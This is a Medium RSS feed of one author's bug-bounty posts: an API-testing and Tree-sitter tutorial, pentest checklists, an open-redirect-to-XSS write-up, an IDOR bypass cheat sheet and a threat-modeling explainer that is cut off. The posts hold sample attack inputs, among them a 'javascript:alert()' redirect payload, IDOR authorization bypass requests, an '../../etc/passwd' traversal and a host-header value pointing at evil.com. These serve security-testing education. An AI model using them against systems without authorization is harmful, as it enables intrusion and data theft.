<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by BugHunteroX on Medium]]></title>
        <description><![CDATA[Stories by BugHunteroX on Medium]]></description>
        <link>https://medium.com/@bughunteroX?source=rss-2d9c235feb1c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*QIv-wAReSiVQ7gNvMHxfIw.jpeg</url>
            <title>Stories by BugHunteroX on Medium</title>
            <link>https://medium.com/@bughunteroX?source=rss-2d9c235feb1c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:20:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bughunteroX/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Supercharge Your Bug Bounty Toolkit: API Testing, DTO Validation, and Tree-sitter Analysis]]></title>
            <link>https://medium.com/@bughunteroX/supercharge-your-bug-bounty-toolkit-api-testing-dto-validation-and-tree-sitter-analysis-a51cf74e6f1b?source=rss-2d9c235feb1c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a51cf74e6f1b</guid>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[BugHunteroX]]></dc:creator>
            <pubDate>Sat, 13 Sep 2025 20:17:18 GMT</pubDate>
            <atom:updated>2025-09-13T20:52:48.792Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Vb00i8VBMvHfJG1MiV6MkA.jpeg" /><figcaption>Supercharge Your Bug Bounty Toolkit</figcaption></figure><p>As a bug bounty hunter, your ability to uncover vulnerabilities efficiently depends on the tools and techniques in your arsenal. In this article, we’ll dive into three powerful strategies to enhance your bug bounty toolkit: integrating comprehensive API unit tests, validating request/response DTOs, and using Tree-sitter for JavaScript parsing and AST analysis. These approaches will help you identify security flaws with precision and speed. Let’s break them down with practical examples to make them crystal clear.</p><h3>1. Integrating Comprehensive API Unit Tests for Endpoint Reliability</h3><h4>What Is It?</h4><p>API unit testing involves writing automated tests to verify that each API endpoint behaves as expected under various conditions. The goal is to ensure endpoints are reliable, secure, and handle inputs correctly — crucial for spotting vulnerabilities like unauthorized access or data leaks.</p><h4>Why It Matters for Bug Bounty</h4><p>Many security vulnerabilities, such as broken access controls or improper input handling, originate from poorly tested API endpoints. Comprehensive unit tests can catch these issues early, making them a goldmine for bug hunters looking to identify flaws before they’re exploited.</p><p>ExampleImagine an API endpoint:<strong> GET /user/{id}</strong>. It’s supposed to return user data for a valid ID. Unit tests can verify:</p><ul><li>Does it return the correct data for a valid ID (e.g., 123)?</li><li>Does it handle invalid inputs (e.g., -1 or non-numeric values) by returning appropriate errors like 400 Bad Request?</li><li>Does it block unauthorized requests with a 401 Unauthorized error?</li></ul><p>Here’s a simple example using Jest in a Node.js environment:</p><pre>const request = require(&#39;supertest&#39;);<br>const app = require(&#39;../app&#39;); // Your Express app<br><br>describe(&#39;GET /user/:id&#39;, () =&gt; {<br>  it(&#39;should return user data for a valid ID&#39;, async () =&gt; {<br>    const res = await request(app).get(&#39;/user/123&#39;);<br>    expect(res.status).toBe(200);<br>    expect(res.body).toHaveProperty(&#39;name&#39;);<br>  });<br><br>  it(&#39;should return 400 for an invalid ID&#39;, async () =&gt; {<br>    const res = await request(app).get(&#39;/user/invalid&#39;);<br>    expect(res.status).toBe(400);<br>  });<br>});</pre><p>By running these tests, you can identify endpoints that fail to validate inputs or expose sensitive data, which are common bug bounty targets.</p><h4>How to Apply It</h4><p>Use tools like Postman, Jest, or Pytest to automate API testing. As a bug hunter, you can also use these tools to fuzz endpoints with unexpected inputs (e.g., malformed JSON or negative IDs) to uncover vulnerabilities like SQL injection or broken authentication.</p><h3>2. Validating Request/Response DTOs for Seamless Data Contracts</h3><p><strong>What Is It?</strong></p><p>A Data Transfer Object (DTO) defines the structure of data exchanged between a client and an API. Validating DTOs ensures that incoming requests and outgoing responses adhere to a strict format, preventing issues like invalid data or malicious inputs.</p><h4>Why It Matters for Bug Bounty</h4><p>Unvalidated DTOs can lead to vulnerabilities like SQL injection, cross-site scripting (XSS), or data leaks. By enforcing strict data contracts, you reduce the attack surface and make it harder for attackers to exploit poorly sanitized inputs.</p><p>Example:<br>Consider a <strong>POST /user</strong> endpoint that creates a new user with this JSON payload:</p><pre>{<br>  &quot;name&quot;: &quot;Alice&quot;,<br>  &quot;email&quot;: &quot;alice@example.com&quot;,<br>  &quot;age&quot;: 30<br>}</pre><p>If a client sends invalid data, like:</p><pre>{<br>  &quot;name&quot;: &quot;&quot;, // Empty name<br>  &quot;email&quot;: &quot;not-an-email&quot;, // Invalid email<br>  &quot;age&quot;: &quot;thirty&quot; // Should be a number<br>}</pre><p>Proper DTO validation will reject this request and return an error. Without validation, the API might process this data, potentially leading to vulnerabilities.</p><p>Here’s how you can validate DTOs using Joi in Node.js:</p><pre>const Joi = require(&#39;joi&#39;);<br><br>const userSchema = Joi.object({<br>  name: Joi.string().min(1).required(),<br>  email: Joi.string().email().required(),<br>  age: Joi.number().integer().min(0).required()<br>});<br><br>function validateUser(req, res, next) {<br>  const { error } = userSchema.validate(req.body);<br>  if (error) return res.status(400).send(error.details[0].message);<br>  next();<br>}</pre><p>This code ensures the request payload matches the expected format, reducing the risk of processing malicious inputs.</p><h4>How to Apply It</h4><p>As a bug hunter, inspect API documentation or reverse-engineer requests to check if DTO validation is enforced. Try sending malformed or unexpected data (e.g., oversized strings or missing fields) to see if the API mishandles them, which could reveal vulnerabilities.</p><h3>3. Employing Tree-sitter for Precise JavaScript Parsing and AST Analysis</h3><p><strong>What Is It?</strong></p><p>Tree-sitter is a powerful parsing tool that converts code (e.g., JavaScript) into an Abstract Syntax Tree (AST), allowing you to analyze its structure programmatically. By traversing the AST, you can identify dangerous patterns, such as insecure functions or potential XSS vulnerabilities.</p><p>Why It Matters for Bug Bounty</p><p>Client-side JavaScript is a common target for vulnerabilities like DOM-based XSS. Manually reviewing code for issues is time-consuming, but Tree-sitter automates the process by helping you pinpoint risky patterns, like the use of <strong>eval()</strong> or <strong>document.write()</strong>.</p><h4>Example</h4><p>Suppose you’re analyzing this JavaScript code:</p><pre>function runCode(input) {<br>  eval(input); // Dangerous!<br>}</pre><p>Tree-sitter can parse this code into an AST and help you detect the use of <strong>eval()</strong>, which is a red flag for XSS vulnerabilities.</p><p>Here’s a simple Node.js script using Tree-sitter:</p><pre>const Parser = require(&#39;tree-sitter&#39;);<br>const JavaScript = require(&#39;tree-sitter-javascript&#39;);<br><br>const parser = new Parser();<br>parser.setLanguage(JavaScript);<br><br>const code = `function runCode(input) { eval(input); }`;<br>const tree = parser.parse(code);<br><br>function findEval(node) {<br>  if (node.type === &#39;call_expression&#39; &amp;&amp; node.firstChild.text === &#39;eval&#39;) {<br>    console.log(&#39;Found eval at line:&#39;, node.startPosition.row + 1);<br>  }<br>  node.children.forEach(child =&gt; findEval(child));<br>}<br><br>findEval(tree.rootNode);</pre><p>This script identifies where eval() is used, helping you flag potential vulnerabilities.</p><h4>How to Apply It</h4><p>As a bug hunter, use Tree-sitter to scan a target’s JavaScript files (e.g., from a website’s /static directory) for insecure functions or patterns. Combine this with manual testing to confirm exploitable vulnerabilities like XSS.</p><h3>Putting It All Together: A Bug Bounty Workflow</h3><p>Here’s how you can combine these techniques in a bug bounty hunt:</p><ul><li><strong>Test APIs:</strong> Use tools like Postman or custom scripts to fuzz API endpoints with invalid or malicious inputs. Look for issues like broken access controls or data leaks.</li><li><strong>Check DTO Validation:</strong> Analyze API requests and responses to see if inputs are properly validated. Send malformed payloads to test for vulnerabilities like injection attacks.</li><li><strong>Analyze JavaScript with Tree-sitter:</strong> Scan client-side JavaScript for risky functions or patterns using Tree-sitter. Combine this with browser-based testing to confirm issues like DOM XSS.</li></ul><h3>Conclusion</h3><p>By integrating API unit tests, DTO validation, and Tree-sitter for AST analysis, you can supercharge your bug bounty toolkit. These techniques help you systematically uncover vulnerabilities, from misconfigured APIs to insecure JavaScript code. Whether you’re fuzzing endpoints, validating data contracts, or parsing code for dangerous patterns, these tools will make you a more effective and efficient bug hunter.</p><p>Start experimenting with these approaches today, and you’ll be well on your way to finding that next big bounty. Happy hunting!</p><h4><strong>Additional Resources:</strong></h4><p><a href="https://medium.com/@shreshthg30/a-beginners-guide-to-tree-sitter-6698f2696b48">https://medium.com/@shreshthg30/a-beginners-guide-to-tree-sitter-6698f2696b48</a><br><a href="https://dev.to/lovestaco/getting-started-with-tree-sitter-syntax-trees-and-express-api-parsing-5c2d">https://dev.to/lovestaco/getting-started-with-tree-sitter-syntax-trees-and-express-api-parsing-5c2d</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a51cf74e6f1b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ Multi-Brand / Multi-Tenant Pentest Checklist]]></title>
            <link>https://medium.com/@bughunteroX/%EF%B8%8F-multi-brand-multi-tenant-pentest-checklist-d9178868c40f?source=rss-2d9c235feb1c------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9178868c40f</guid>
            <category><![CDATA[bugbounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[BugHunteroX]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 22:24:40 GMT</pubDate>
            <atom:updated>2025-09-03T22:24:40.035Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*mbWRoAFDnxdNyGHoBIM2xA.jpeg" /><figcaption>Multi-Brand / Multi-Tenant Pentest Checklist</figcaption></figure><p>A practical checklist and methodology for penetration testing<strong> multi-brand / multi-tenant</strong> applications. <br>Focus: tenant isolation, configuration switching risks, cross-tenant privilege escalation, and business logic flaws.</p><h4>📌 Overview</h4><p>Multi-brand apps often share a single codebase with brand-specific configs (e.g., `gamma.nl`, `karwei.nl`). <br>Misconfigurations may lead to data leakage, authorization bypass, or payment manipulation.</p><p>This checklist provides **step-by-step tests** to identify such weaknesses.</p><h4>🔎 1. Recon &amp; Discovery</h4><p>- [ ] Extract `.js.map` / frontend bundles → search for API URLs, configs, brand IDs <br>- [ ] Enumerate supported brands/domains (`gamma.nl`, `gamma.be`, `karwei.nl`) <br>- [ ] Check for staging/dev envs (`uat.`, `acc.`, `staging.`)</p><h4>⚙️ 2. Config Switching Risks</h4><p>- [ ] Force brand/country in query → `?brand=gamma&amp;country=BE` <br>- [ ] Host header injection → `gamma.nl.evil.com` <br>- [ ] Try overriding `formulaConfig` manually in requests</p><p>🔐 3. Authentication &amp; Session Isolation</p><p>- [ ] Reuse session cookie from brand A on brand B <br>- [ ] Inspect JWT claims for `brand` / `country` tampering <br>- [ ] Try login on brand B with brand A credentials</p><p>👤 4. Authorization &amp; Access Control</p><p>- [ ] Access `/api/karwei/orders/1234` with `gamma` session → IDOR <br>- [ ] Modify brand in JWT/request to escalate privileges <br>- [ ] Test role drift across tenants</p><p>💳 5. Payment &amp; Checkout Manipulation</p><p>- [ ] Add product from `gamma` into `karwei` checkout <br>- [ ] Test locale price parsing: `10,00` vs `10.00` <br>- [ ] Switch brand mid-checkout → mismatched VAT/tax</p><h4>🌍 6. Locale &amp; Language Switching</h4><p>- [ ] Force unsupported locales: `?locale=xx_XX` <br>- [ ] Check if error messages leak stack traces <br>- [ ] Validate currency &amp; input parsing differences</p><h4>🔗 7. API Gateway &amp; CORS</h4><p>- [ ] Abuse `allowedTracingUrls` (redirect API calls) <br>- [ ] Test cross-origin requests → can brand A frontend call brand B API?</p><h4>📊 8. Session Replay &amp; Analytics</h4><p>- [ ] Verify sensitive data not recorded in **Datadog RUM** <br>- [ ] Check if staging environments send telemetry to prod accounts</p><h4>🚀 9. Caching &amp; CDN</h4><p>- [ ] Switch rapidly between brands, compare cached responses <br>- [ ] Verify `Vary: Host` header in CDN responses</p><h4>🧩 10. Feature Flags &amp; Business Logic</h4><p>- [ ] Enable hidden features (e.g., `giftCard=true`) <br>- [ ] Call brand A features from brand B APIs <br>- [ ] Test for unadvertised discount/payment flows</p><h4>🏗️ 11. Deployment &amp; Legacy Endpoints</h4><p>- [ ] Look for `/api-dev/`, `/acc/api/`, `/staging/checkout` <br>- [ ] Check if old endpoints still accept production tokens</p><h4>⚡ 12. Edge-Case Attacks</h4><p>- [ ] Compare rate-limits across brands <br>- [ ] Check password policies per brand (drift risk) <br>- [ ] Inspect cross-brand analytics &amp; tracking pixels</p><h4>📑 Reporting Guidance</h4><p>Group issues into categories:<br><em>- Config Switching Risk<br>- Cross-Tenant Access<br>- Privilege Escalation<br>- Payment Manipulation<br>- Info Disclosure</em></p><p>✅ Always validate issues across multiple brands to demonstrate systemic risk.</p><h4>🎯 Usage</h4><p>This checklist is designed for:<br>- Bug bounty hunters <br>- Professional penetration testers <br>- Security researchers testing SaaS / e-commerce platforms</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9178868c40f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[2 XSS vulnerabilities: From Open Redirect to Reflected XSS and 100€]]></title>
            <link>https://medium.com/@bughunteroX/2-xss-vulnerabilities-from-open-redirect-to-reflected-xss-and-100-c03c4ade3978?source=rss-2d9c235feb1c------2</link>
            <guid isPermaLink="false">https://medium.com/p/c03c4ade3978</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hunting]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[BugHunteroX]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 15:49:01 GMT</pubDate>
            <atom:updated>2025-08-26T15:49:58.128Z</atom:updated>
            <content:encoded><![CDATA[<h4>Summary</h4><p>Hi everyone! Today, I want to share about an interesting bug hunting journey, which resulted in me recently getting two Reflected XSS vulnerabilities accepted on Intigriti. This story isn’t just about finding bugs; it also involves a bit of “luck” as I found a way to increase the impact of the vulnerabilities to receive a worthy bounty. So, let’s go through it step by step!</p><h4>1. The Opportunity Comes to Private Programs</h4><p>After I received a decent bug bounty (1000€ for my previous bug report), Intigriti invited me to a lot of private programs. I was a bit overwhelmed, because I had to choose one program to start with. In the end, I chose a program that could be mined quickly, without logging in (unauthen), so it saved me a lot of time. You can read the previous article at the following link: <a href="https://viblo-asia.translate.goog/p/minh-da-kiem-1000-tu-mot-medium-bug-nhu-the-nao-AZoJjdOOVY7?_x_tr_sl=auto&amp;_x_tr_tl=en-US&amp;_x_tr_hl=de">How I earned 1000€ from a Medium bug?</a></p><h4>2. Recon: Preparation Before Bug Hunting</h4><p>First, I did a basic “recon” with a few simple commands like:</p><ul><li>subfinderto find subdomain</li><li>httpxto check status and protocol</li><li>gauand waybackurlsto find URLs from archives</li></ul><p>Then I found a URL in the form: https://sub.redacted.com/signup?redirectTo=/login. The idea immediately popped into my head: <strong>why not try the Open Redirect error first?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*e96tvSw26plCRg2v-t0lfA.png" /></figure><h4>3. Open Redirect Exploitation</h4><p>I tried a simple payload for Open Redirect:</p><pre>?redirectTo=https://fb.com</pre><p>After registering an account, the website took me straight to <a href="https://translate.google.com/website?sl=auto&amp;tl=en-US&amp;hl=de&amp;u=https://fb.com">https://fb.com</a> . The Open Redirect error must have been successful.</p><h4>4. Impact Increasing Idea: Turn Open Redirect Into XSS</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*xHk8ScVLlzsg7JKlDl_aXQ.png" /></figure><p>But at that moment, I thought that just reporting the open redirect bug was only at “low” level because looking back at the low tier 2 bounty, it was only 25€, the bounty was not worth much. To earn more, I wanted to scale the impact to XSS. Usually, open redirect can be scaled to XSS with the <strong>javascript:alert()</strong> payload .</p><p>So I tried with payload:</p><pre>?redirectTo=javascript:alert()</pre><p>And… it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*Oc8uIK5oCfAPI0KjdC6U5g.png" /></figure><h4>5. Discovering the Second XSS Bug at the Login Endpoint</h4><p>However, I didn’t stop there. When I logged in normally, nothing happened, but then I thought: Why not try the redirectTo parameter with the /login endpoint? So I tried the payload at /login, and… boom! Another XSS vulnerability appeared. Now I just quickly wrote a report and submitted both errors at the same time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*qaOWbVxNBhakXVgo4GgvnA.png" /></figure><h4>Results</h4><p>After nearly 1 day of waiting, the error was pending and triage reported that the vendor was checking and would report back as soon as possible. After that, after nearly 5 more days of waiting, I had the result I deserved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*avYzLRD5oDQEdNihV8yYnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*DX1s2jJCNfwePTIngcx0OA.png" /></figure><h4>Summary</h4><p>This bug hunting journey was short, but quite lucky and brought a lot of joy. With just a little bit of simple testing and sensitivity in scaling errors, I found two accepted XSS errors on Intigriti. Hopefully my sharing will help everyone in the bug hunting process!</p><p><strong>Try hard top 100</strong></p><p><a href="https://viblo.asia/p/2-lo-hong-xss-tu-open-redirect-den-reflected-xss-va-100-5OXLAgmB4Gr">Source: FatBoy</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c03c4ade3978" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR: Attack vectors, exploitation, bypasses and chains]]></title>
            <link>https://medium.com/@bughunteroX/idor-attack-vectors-exploitation-bypasses-and-chains-1670d7ec8ba1?source=rss-2d9c235feb1c------2</link>
            <guid isPermaLink="false">https://medium.com/p/1670d7ec8ba1</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[BugHunteroX]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 15:48:00 GMT</pubDate>
            <atom:updated>2025-08-26T15:48:00.317Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ey4OvqtG0Vz1J7YIh61Zyw.jpeg" /><figcaption>IDOR: Attack vectors</figcaption></figure><p>API12019: Testing for IDOR/Broken object level authorization:</p><p>Difficulty: Easy</p><blockquote>Don’t blindly test for changing numbers till you get PII, tools can do this for you. Dive deep into applications, find hidden functionality and features, and know how your application works most of all to succeed in finding IDOR’s.</blockquote><h4>Finding IDOR Attack Vectors Ideas:</h4><p>1. What do they use for authorization?(JWT, API Keys, cookies, tokens) Tip: Find this out by replacing high privaledge authorization with lower privaledge authorization and seeing what the server responds with<br>2. Understand how they use ID’s, hashes, and their API. Do this by looking at the API Documentations if they have one.</p><h4>Recon for IDOR’s:</h4><p>- Try to search engine scrape for UUIDs, ex: google dork for IDOR URL parameters<br>- Use burp extension autorize + autorepeater<br>- Using tools like WaybackURLS or gau, and grep for UUID’s, ids and common IDOR URL parameters<br>- Scraping JS files for API endpoints with UUID’s, common IDOR parameters</p><blockquote>Recon for IDORs is very hard, many of them are found manually using logic and they depend on each application highly. To add onto this, IDOR’s are commonly found on API endpoints with JSON parameters, not URL. However, IDOR recon is still good to possibly find some low-hanging fruit.</blockquote><p>Every time you see a new API endpoint that receives an object ID from the client, ask yourself the following questions:</p><p>- Does the ID belong to a private resource? (e.g /api/user/123/news vs /api/user/123/transaction)<br>- What are the IDs that belong to me?<br>- What are the different possible roles in the API?(For example — user, driver, supervisor, manager)</p><h4>Bypassing Object Level Authorization:</h4><p>- Add parameters onto the endpoints for example, if there was</p><p>```html<br>GET /api_v1/messages → 401<br>vs <br>GET /api_v1/messages?user_id=victim_uuid → 200<br>```</p><p><strong>Why Does this Work?:</strong> Sometimes the applications authorization settings are not set to directory level, or the whole URL, making it so that adding URL parameters can bypass previous restrictions to certain endpoints.</p><p><strong>Note</strong>: To find URL parameters for endpoints, use tools like [Arjun](<a href="https://github.com/s0md3v/Arjun">https://github.com/s0md3v/Arjun</a>) to bruteforce common IDOR URL parameter names.</p><p>Credit: <a href="http://twitter.com/Jhaddix">@Jhaddix</a></p><p>- HTTP Parameter pollution</p><p>```html<br>GET /api_v1/messages?user_id=VICTIM_ID → 401 Unauthorized<br>GET /api_v1/messages?user_id=ATTACKER_ID&amp;user_id=VICTIM_ID → 200 OK</p><p>GET /api_v1/messages?user_id=YOUR_USER_ID[]&amp;user_id=ANOTHER_USERS_ID[]<br>```</p><p>- Add .json to the endpoint, if it is built in Ruby!</p><p>```html<br>/user_data/2341 → 401 Unauthorized<br>/user_data/2341.json → 200 OK<br>```</p><p>- Test on outdated API Versions</p><p>```html<br>/v3/users_data/1234 → 403 Forbidden<br>/v1/users_data/1234 → 200 OK<br>```</p><p>Wrap the ID with an array.</p><p>```html<br>{“id”:111} → 401 Unauthriozied<br>{“id”:[111]} → 200 OK<br>```</p><p>Wrap the ID with a JSON object:</p><p>```html<br>{“id”:111} → 401 Unauthriozied</p><p>{“id”:{“id”:111}} → 200 OK<br>```</p><p>JSON Parameter Pollution:</p><p>```html<br>POST /api/get_profile<br>Content-Type: application/json<br>{“user_id”:&lt;legit_id&gt;,”user_id”:&lt;victim’s_id&gt;}<br>```</p><p>MFLAC:</p><p>```html<br>GET /admin/profile → 401 Unauthorized</p><p>GET /ADMIN/profile → 200 OK<br>```</p><p>Path Traversal:</p><p>```html<br>POST /users/delete/VICTIM_ID → 403 Forbidden</p><p>POST /users/delete/MY_ID/../VICTIM_ID → 200 OK<br>```</p><p><strong>Random Tips/Tricks:</strong></p><p>- Try to send a wildcard(*) instead of an ID. It’s rare, but sometimes it works.<br>- Check through the same corresponding mobile API endpoints for the webapp, to find uuids, if you need them to complete the IDOR exploitation<br>- Many times there will be endpoints to translate emails into GUID’s, check for those<br>- If it is a number id, be sure to test through a large amount of numbers, instead of just guessing Ex: Burp intruder from ID 100–1000<br>- If endpoint has a name like /api/users/myinfo, check for /api/admins/myinfo<br>- Replace request method with GET/POST/PUT<br>- If none of these work, get creative and ask around!</p><p><strong>Escalating/Chaining with IDOR’s Ideas:</strong></p><p>1. Lets say you find a low impact IDOR, like changing someone elses name, chain that with XSS and you have stored XSS!<br>2. If you find IDOR on and endpoint, but it requires UUID, chain with info disclosure endpoints that leak UUID, and bypass this!<br>3. If none of these work, get creative and ask around!</p><p>Credit section, pieces of this article were taken from videos/writeups:</p><p><a href="http://twitter.com/Jhaddix">@Jhaddix</a> — <a href="https://www.youtube.com/watch?v=94-tlOCApOc">https://www.youtube.com/watch?v=94-tlOCApOc</a></p><p><a href="http://twitter.com/vickieli7">@vickieli7</a> — <a href="https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489">https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489</a></p><p><a href="http://twitter.com/inonst">@inonst</a> — <a href="https://medium.com/@inonst/a-deep-dive-on-the-most-critical-api-vulnerability-bola-1342224ec3f2">https://medium.com/@inonst/a-deep-dive-on-the-most-critical-api-vulnerability-bola-1342224ec3f2</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1670d7ec8ba1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Swagger / OpenAPI / EndPoint Hunt Checklist]]></title>
            <link>https://medium.com/@bughunteroX/swagger-openapi-endpoint-hunt-checklist-7cfb3002a056?source=rss-2d9c235feb1c------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cfb3002a056</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[hunting]]></category>
            <dc:creator><![CDATA[BugHunteroX]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 15:37:49 GMT</pubDate>
            <atom:updated>2025-08-26T15:37:49.004Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*u-2CoA6jW9AIS1hddbSJeg.jpeg" /><figcaption>Swagger / OpenAPI / EndPoint Hunt Checklist</figcaption></figure><h4>🔍 1. Recon</h4><p>- Extract all Endpoints (GET/POST/PUT/DELETE)<br>- Identify parameters (Query, Path, Header, Body)<br>- Review Schemas / Models for sensitive fields (isAdmin, role, balance)<br>- Check API versioning (/api/v1/, /api/v2/ …)<br>- Look for internal comments / developer notes</p><h4>🔑 2. Authentication &amp; Access Control</h4><p>- Test endpoints without tokens (bypass auth)<br>- Test user token on admin endpoints<br>- Modify Role in request body (role=admin)<br>- Check for IDOR (/users/{id} → change IDs)<br>- JWT manipulation (decode/modify claims, test without signature verification)</p><h4>💉 3. Injection</h4><p>- SQL Injection on parameters<br>- NoSQL Injection in JSON payloads<br>- Command Injection (system commands)<br>- Path Traversal (../../etc/passwd)<br>- Header Injection (X-Forwarded-For, Host)</p><h4>🔄 4. Unexpected Input (Fuzzing)</h4><p>- Send wrong data type (string instead of int)<br>- Oversized payloads (DoS testing)<br>- Extra fields not defined in schema<br>- Null / empty values<br>- Negative or abnormal values (-1, 999999999,1.0000003)</p><h4>🔐 5. Sensitive Data Exposure</h4><p>- Inspect swagger.json for API Keys, sample JWTs, developer emails<br>- Check API responses for sensitive data (stack trace, internal errors)</p><h4>🌐 6. HTTP Methods &amp; Misconfigurations</h4><p>- Test all HTTP methods (GET, POST, PUT, DELETE)<br>- Check CORS configuration (Access-Control-Allow-Origin: *)<br>- Test OPTIONS method (information disclosure)<br>- Check for missing rate limiting (DoS potential)</p><h4>🛠 7. Tools</h4><p>- Postman → Import swagger.json → manual testing<br>- Burp Suite → Import swagger → fuzzing / scanning<br>- OWASP ZAP (OpenAPI plugin) → automated scanning<br>- sqlmap on parameters<br>- ffuf / wfuzz for brute-forcing hidden endpoints</p><h4>🎯 8. Special Tricks</h4><p>- Check /swagger.json, /openapi.json, /v2/swagger.json<br>- Look for /swagger-ui/, /swagger-ui.html, /redoc/<br>- Host Header Injection (SSRF)<br>- Hidden or undocumented endpoints</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cfb3002a056" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Modeling for Finding Web App Vulnerabilities]]></title>
            <link>https://medium.com/@bughunteroX/threat-modeling-a11c8216a476?source=rss-2d9c235feb1c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a11c8216a476</guid>
            <dc:creator><![CDATA[BugHunteroX]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 17:10:14 GMT</pubDate>
            <atom:updated>2025-08-05T17:27:59.700Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Concept</h3><p>Threat modeling is the process of assessing and analyzing potential threats to a system or application. It is an important part of the process of developing secure software and information security.</p><p>During the threat modeling process, security experts and development teams work together to identify and assess threats that may impact the system. These threats may include security vulnerabilities, malicious behavior, potential attacks, and other risks. From there, options are proposed to mitigate and overcome risks along with reasonable financial levels.</p><h3>2. Steps to take with specific objects</h3><h3>Step 1: Analyze the application</h3><p>The first step to performing threat modeling is to understand the application, how the application interacts with external entities or between objects in the application, system. <br> In this part, it is necessary to identify the following components.</p><ul><li>Application information: Application name, version, specifications, …</li><li>Entry Point is manipulated by the user.</li><li>Exit Point: where the returned information is displayed according to the user’s request.</li><li>Assets that need to be protected: user information, cash, …</li><li>Application workflow: Design diagram, interactions between entities in the system, application</li></ul><h3>Step 2: Identify and assess risks</h3><p>In this step, you need to choose one of the popular risk identification models today, such as Microsoft’s STRIDE, PASTA … From there, identify the vulnerabilities that lead to risks, then evaluate and provide detailed solutions. <br> For example, for Microsoft’s STRIDE model, this model is determined based on 6 attacks that can be targeted:</p><ul><li>Spoofing: A threat involving the impersonation of the identity or origin of a user, service, or information.</li><li>Tampering: A threat involving unauthorized modification or alteration of critical data or resources.</li><li>Repudiation: The threat associated with the possibility of refusing to prove or take responsibility for an action or event that has occurred.</li><li>Information Disclosure: Threat associated with the disclosure of sensitive information to unauthorized persons.</li><li>Denial of Service: A threat involving the prevention, interruption, or disruption of service or the operability of a system.</li><li>Elevation of Privilege: Threats involving the attack and elevation of privileges or unauthorized access.</li></ul><p>We can then identify specific vulnerabilities and risks that the application may encounter, for example:</p><ul><li>Spoofing: Brute force password, Fake information to bypass authentication mechanisms such as face, fingerprint …</li><li>Tampering (Modification): SQL Injection, …</li><li>Repudiation (Refusal): The customer refuses to sign the contract, …</li><li>Information Disclosure: Error Handling, XSS stealing user information, …</li><li>Denial of Service: Dos, DDos, Race Condition, power outage, natural disaster, …</li><li>Elevation of Privilege: The system uses an OS version, application with a CVE that allows privilege escalation, …</li></ul><p>After identifying the above vulnerabilities and risks, we need to evaluate them based on a certain standard to prioritize the risk remediation and handling, which risks need to be remediated first, which risks cannot be remediated, which risks can be ignored … <br> To assess the risks, we can use Microsoft’s DREAD model. This model provides a subjective process for ranking and evaluating risks. There are 4 proposed criteria:</p><ul><li>Damage: An assessment of the potential damage a threat could cause if it were successfully exploited. This involves economic impact, system disruption, or impact on an organization’s reputation.</li><li>Reproducibility: Assesses the likelihood of a threat being reproduced. If a threat is easy to reproduce and exploit again, then the threat level is higher than if it occurs only 